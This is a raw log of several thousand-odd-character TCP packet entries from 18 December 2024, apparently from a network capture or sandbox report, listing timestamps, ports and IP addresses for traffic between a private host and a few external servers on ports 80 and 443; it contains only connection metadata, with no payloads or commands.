Dec 18, 2024 15:56:33.091013908 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.091784000 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.092098951 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.092253923 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.092308998 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.092879057 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.092988014 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.093318939 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.093457937 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.093528986 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.093650103 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.094100952 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.094288111 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.094604969 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.094650984 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.094652891 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.094685078 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.095185041 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.095237017 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.095274925 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.095938921 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.096081018 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.096092939 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.096657991 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.096666098 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.096720934 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.097342014 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.097348928 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.097400904 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.098016977 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.098069906 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.098098040 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.098733902 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.098783016 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.098854065 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.099441051 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.099529982 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.099536896 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.100169897 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.100214005 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.100239038 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.100961924 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.101031065 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.101062059 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.101593971 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.101618052 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.101669073 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.102284908 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.102341890 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.102375984 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.102982044 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.103032112 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.103086948 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.103730917 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.103787899 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.103871107 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.104394913 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.104453087 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.104513884 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.105139971 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.105211973 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.105267048 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.105930090 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.106013060 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.106599092 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.106637955 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.106661081 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.107265949 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.107408047 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.107455015 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.108005047 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.108072996 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.108140945 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.108699083 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.108792067 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.108822107 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.109354019 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.109479904 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.109565020 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.110198975 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.110277891 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.110326052 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.110785007 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.110898972 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.110903978 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.111608028 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.111720085 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.111735106 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.112219095 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.112272978 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.112296104 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.112931967 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.113074064 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.113696098 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.113709927 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.113768101 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.113830090 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.114350080 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.114438057 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.114463091 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.115065098 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.115113974 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.115179062 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.115788937 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.115986109 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.116074085 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.116606951 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.116686106 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.116727114 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.116862059 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.117202044 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.117321968 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.117475033 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.117902994 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.118040085 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.118100882 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.118709087 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.118760109 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.118778944 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.119344950 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.119400024 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.119438887 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.120080948 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.120127916 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.120157003 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.120767117 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.120836020 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.120907068 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.121444941 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.121581078 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.121758938 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.122234106 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.122303963 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.122328043 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.122868061 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.122916937 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.122983932 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.123701096 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.123758078 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.123758078 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.124916077 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.125050068 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.125067949 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.125719070 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.125735044 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.125792027 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.126386881 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.126522064 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.126853943 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.127247095 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.127307892 CET	80	49801	185.185.71.170	192.168.2.10
Dec 18, 2024 15:56:33.127388000 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.133202076 CET	49801	80	192.168.2.10	185.185.71.170
Dec 18, 2024 15:56:33.140218019 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.140284061 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.140372992 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.140481949 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.140625954 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.140636921 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.141417027 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.141854048 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.141926050 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.142000914 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.142081022 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.143255949 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.143338919 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.143341064 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.143388987 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.144535065 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.144609928 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.144650936 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.144745111 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.145859003 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.145934105 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.146027088 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.146080017 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.147306919 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.147372961 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.147384882 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.147423983 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.148392916 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.148449898 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.148488998 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.148710966 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.149646997 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.149692059 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.149736881 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.150940895 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.151053905 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.151715040 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.152136087 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.152196884 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.152292967 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.152494907 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.153399944 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.153471947 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.153501034 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.153549910 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.154622078 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.154766083 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.154819012 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.155915976 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.156028032 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.156055927 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.156162977 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.157180071 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.157269001 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.157313108 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.157354116 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.158443928 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.158545971 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.158600092 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.159681082 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.159735918 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.159816027 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.159892082 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.160953999 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.161010027 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.161066055 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.161179066 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.162209988 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.162321091 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.162323952 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.162436962 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.163451910 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.163506985 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.163547039 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.163650036 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.164727926 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.164777040 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.164779902 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.164860964 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.166008949 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.166124105 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.166127920 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.166177034 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.167236090 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.167294979 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.167334080 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.167524099 CET	49813	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:33.167548895 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.167562962 CET	443	49813	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:33.167958021 CET	49813	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:33.168512106 CET	49813	443	192.168.2.10	172.67.179.109
Dec 18, 2024 15:56:33.168529034 CET	443	49813	172.67.179.109	192.168.2.10
Dec 18, 2024 15:56:33.168556929 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.168611050 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.168643951 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.168747902 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.169755936 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.169804096 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.169831038 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.169907093 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.171044111 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.171101093 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.171160936 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.172255039 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.172290087 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.172318935 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.172350883 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.173527956 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.173696995 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.173743963 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.173772097 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.174782038 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.174843073 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.174884081 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.174932957 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.176057100 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.176162004 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.176191092 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.176218987 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.177314997 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.177362919 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.177445889 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.177475929 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.178606987 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.178668976 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.178669930 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.178745985 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.179852009 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.179903984 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.179938078 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.180006981 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.181103945 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.181200027 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.181519032 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.181616068 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.182374001 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.182568073 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.182579041 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.182668924 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.183676004 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.183751106 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.183789968 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.183856010 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.185013056 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.185062885 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.185205936 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.185261011 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.186430931 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.186522007 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.186583042 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.187467098 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.187534094 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.187597036 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.187664032 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.188632965 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.188708067 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.188860893 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.188921928 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.189965010 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.190037012 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.190109968 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.190231085 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.191215992 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.191256046 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.191309929 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.192552090 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.192646027 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.192647934 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.192765951 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.193722010 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.193844080 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.193873882 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.193911076 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.195009947 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.195070982 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.195077896 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.195128918 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.196188927 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.196248055 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.196327925 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.196376085 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.197493076 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.197560072 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.197591066 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.197653055 CET	49806	80	192.168.2.10	185.215.113.16
Dec 18, 2024 15:56:33.198744059 CET	80	49806	185.215.113.16	192.168.2.10
Dec 18, 2024 15:56:33.198803902 CET	49806	80	192.168.2.10	185.215.113.16
